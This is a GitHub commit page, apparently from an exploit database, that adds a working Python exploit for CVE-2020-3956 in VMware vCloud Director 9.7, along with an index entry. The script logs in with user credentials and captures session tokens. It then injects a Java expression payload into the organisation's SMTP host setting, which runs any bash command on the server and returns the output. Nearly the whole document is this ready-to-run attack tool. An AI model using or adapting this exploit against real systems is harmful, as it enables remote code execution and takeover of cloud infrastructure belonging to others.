Skip to content

Commit dfb79e0

Browse files
author
Offensive Security
committed
DB: 2020-06-04
1 changes to exploits/shellcodes vCloud Director 9.7.0.15498291 - Remote Code Execution
1 parent 34b6293 commit dfb79e0

File tree

2 files changed

+140
-0
lines changed

2 files changed

+140
-0
lines changed

exploits/linux/remote/48540.py

Lines changed: 139 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,139 @@
1+
#!/usr/bin/python
2+
# Exploit Title: vCloud Director - Remote Code Execution
3+
# Exploit Author: Tomas Melicher
4+
# Technical Details: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/
5+
# Date: 2020-05-24
6+
# Vendor Homepage: https://www.vmware.com/
7+
# Software Link: https://www.vmware.com/products/cloud-director.html
8+
# Tested On: vCloud Director 9.7.0.15498291
9+
# Vulnerability Description:
10+
# VMware vCloud Director suffers from an Expression Injection Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) via submitting malicious value as a SMTP host name.
11+
12+
import argparse # pip install argparse
13+
import base64, os, re, requests, sys
14+
if sys.version_info >= (3, 0):
15+
from urllib.parse import urlparse
16+
else:
17+
from urlparse import urlparse
18+
19+
from requests.packages.urllib3.exceptions import InsecureRequestWarning
20+
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
21+
22+
PAYLOAD_TEMPLATE = "${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','echo COMMAND|base64 -di|bash|base64 -w 0']).start().getInputStream())).readLine()}"
23+
session = requests.Session()
24+
25+
def login(url, username, password, verbose):
26+
target_url = '%s://%s%s'%(url.scheme, url.netloc, url.path)
27+
res = session.get(target_url)
28+
match = re.search(r'tenant:([^"]+)', res.content, re.IGNORECASE)
29+
if match:
30+
tenant = match.group(1)
31+
else:
32+
print('[!] can\'t find tenant identifier')
33+
return (None,None,None,None)
34+
35+
if verbose:
36+
print('[*] tenant: %s'%(tenant))
37+
38+
match = re.search(r'security_check\?[^"]+', res.content, re.IGNORECASE)
39+
if match: # Cloud Director 9.*
40+
login_url = '%s://%s/login/%s'%(url.scheme, url.netloc, match.group(0))
41+
res = session.post(login_url, data={'username':username,'password':password})
42+
if res.status_code == 401:
43+
print('[!] invalid credentials')
44+
return (None,None,None,None)
45+
else: # Cloud Director 10.*
46+
match = re.search(r'/cloudapi/.*/sessions', res.content, re.IGNORECASE)
47+
if match:
48+
login_url = '%s://%s%s'%(url.scheme, url.netloc, match.group(0))
49+
headers = {
50+
'Authorization': 'Basic %s'%(base64.b64encode('%s@%s:%s'%(username,tenant,password))),
51+
'Accept': 'application/json;version=29.0',
52+
'Content-type': 'application/json;version=29.0'
53+
}
54+
res = session.post(login_url, headers=headers)
55+
if res.status_code == 401:
56+
print('[!] invalid credentials')
57+
return (None,None,None,None)
58+
else:
59+
print('[!] url for login form was not found')
60+
return (None,None,None,None)
61+
62+
cookies = session.cookies.get_dict()
63+
jwt = cookies['vcloud_jwt']
64+
session_id = cookies['vcloud_session_id']
65+
66+
if verbose:
67+
print('[*] jwt token: %s'%(jwt))
68+
print('[*] session_id: %s'%(session_id))
69+
70+
res = session.get(target_url)
71+
match = re.search(r'organization : \'([^\']+)', res.content, re.IGNORECASE)
72+
if match is None:
73+
print('[!] organization not found')
74+
return (None,None,None,None)
75+
organization = match.group(1)
76+
if verbose:
77+
print('[*] organization name: %s'%(organization))
78+
79+
match = re.search(r'orgId : \'([^\']+)', res.content)
80+
if match is None:
81+
print('[!] orgId not found')
82+
return (None,None,None,None)
83+
org_id = match.group(1)
84+
if verbose:
85+
print('[*] organization identifier: %s'%(org_id))
86+
87+
return (jwt,session_id,organization,org_id)
88+
89+
90+
def exploit(url, username, password, command, verbose):
91+
(jwt,session_id,organization,org_id) = login(url, username, password, verbose)
92+
if jwt is None:
93+
return
94+
95+
headers = {
96+
'Accept': 'application/*+xml;version=29.0',
97+
'Authorization': 'Bearer %s'%jwt,
98+
'x-vcloud-authorization': session_id
99+
}
100+
admin_url = '%s://%s/api/admin/'%(url.scheme, url.netloc)
101+
res = session.get(admin_url, headers=headers)
102+
match = re.search(r'<description>\s*([^<\s]+)', res.content, re.IGNORECASE)
103+
if match:
104+
version = match.group(1)
105+
if verbose:
106+
print('[*] detected version of Cloud Director: %s'%(version))
107+
else:
108+
version = None
109+
print('[!] can\'t find version of Cloud Director, assuming it is more than 10.0')
110+
111+
email_settings_url = '%s://%s/api/admin/org/%s/settings/email'%(url.scheme, url.netloc, org_id)
112+
113+
payload = PAYLOAD_TEMPLATE.replace('COMMAND', base64.b64encode('(%s) 2>&1'%command))
114+
data = '<root:OrgEmailSettings xmlns:root="http://www.vmware.com/vcloud/v1.5"><root:IsDefaultSmtpServer>false</root:IsDefaultSmtpServer>'
115+
data += '<root:IsDefaultOrgEmail>true</root:IsDefaultOrgEmail><root:FromEmailAddress/><root:DefaultSubjectPrefix/>'
116+
data += '<root:IsAlertEmailToAllAdmins>true</root:IsAlertEmailToAllAdmins><root:AlertEmailTo/><root:SmtpServerSettings>'
117+
data += '<root:IsUseAuthentication>false</root:IsUseAuthentication><root:Host>%s</root:Host><root:Port>25</root:Port>'%(payload)
118+
data += '<root:Username/><root:Password/></root:SmtpServerSettings></root:OrgEmailSettings>'
119+
res = session.put(email_settings_url, data=data, headers=headers)
120+
match = re.search(r'value:\s*\[([^\]]+)\]', res.content)
121+
122+
if verbose:
123+
print('')
124+
try:
125+
print(base64.b64decode(match.group(1)))
126+
except Exception:
127+
print(res.content)
128+
129+
130+
parser = argparse.ArgumentParser(usage='%(prog)s -t target -u username -p password [-c command] [--check]')
131+
parser.add_argument('-v', action='store_true')
132+
parser.add_argument('-t', metavar='target', help='url to html5 client (http://example.com/tenant/my_company)', required=True)
133+
parser.add_argument('-u', metavar='username', required=True)
134+
parser.add_argument('-p', metavar='password', required=True)
135+
parser.add_argument('-c', metavar='command', help='command to execute', default='id')
136+
args = parser.parse_args()
137+
138+
url = urlparse(args.t)
139+
exploit(url, args.u, args.p, args.c, args.v)

files_exploits.csv

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18163,6 +18163,7 @@ id,file,description,date,author,type,platform,port
1816318163
48513,exploits/windows/remote/48513.rb,"Plesk/myLittleAdmin - ViewState .NET Deserialization (Metasploit)",2020-05-25,Metasploit,remote,windows,
1816418164
48514,exploits/hardware/remote/48514.rb,"Synology DiskStation Manager - smart.cgi Remote Command Execution (Metasploit)",2020-05-25,Metasploit,remote,hardware,
1816518165
48537,exploits/windows/remote/48537.py,"Microsoft Windows - 'SMBGhost' Remote Code Execution",2020-06-02,chompie1337,remote,windows,
18166+
48540,exploits/linux/remote/48540.py,"vCloud Director 9.7.0.15498291 - Remote Code Execution",2020-06-02,aaronsvk,remote,linux,
1816618167
6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
1816718168
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
1816818169
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,

0 commit comments

Comments
 (0)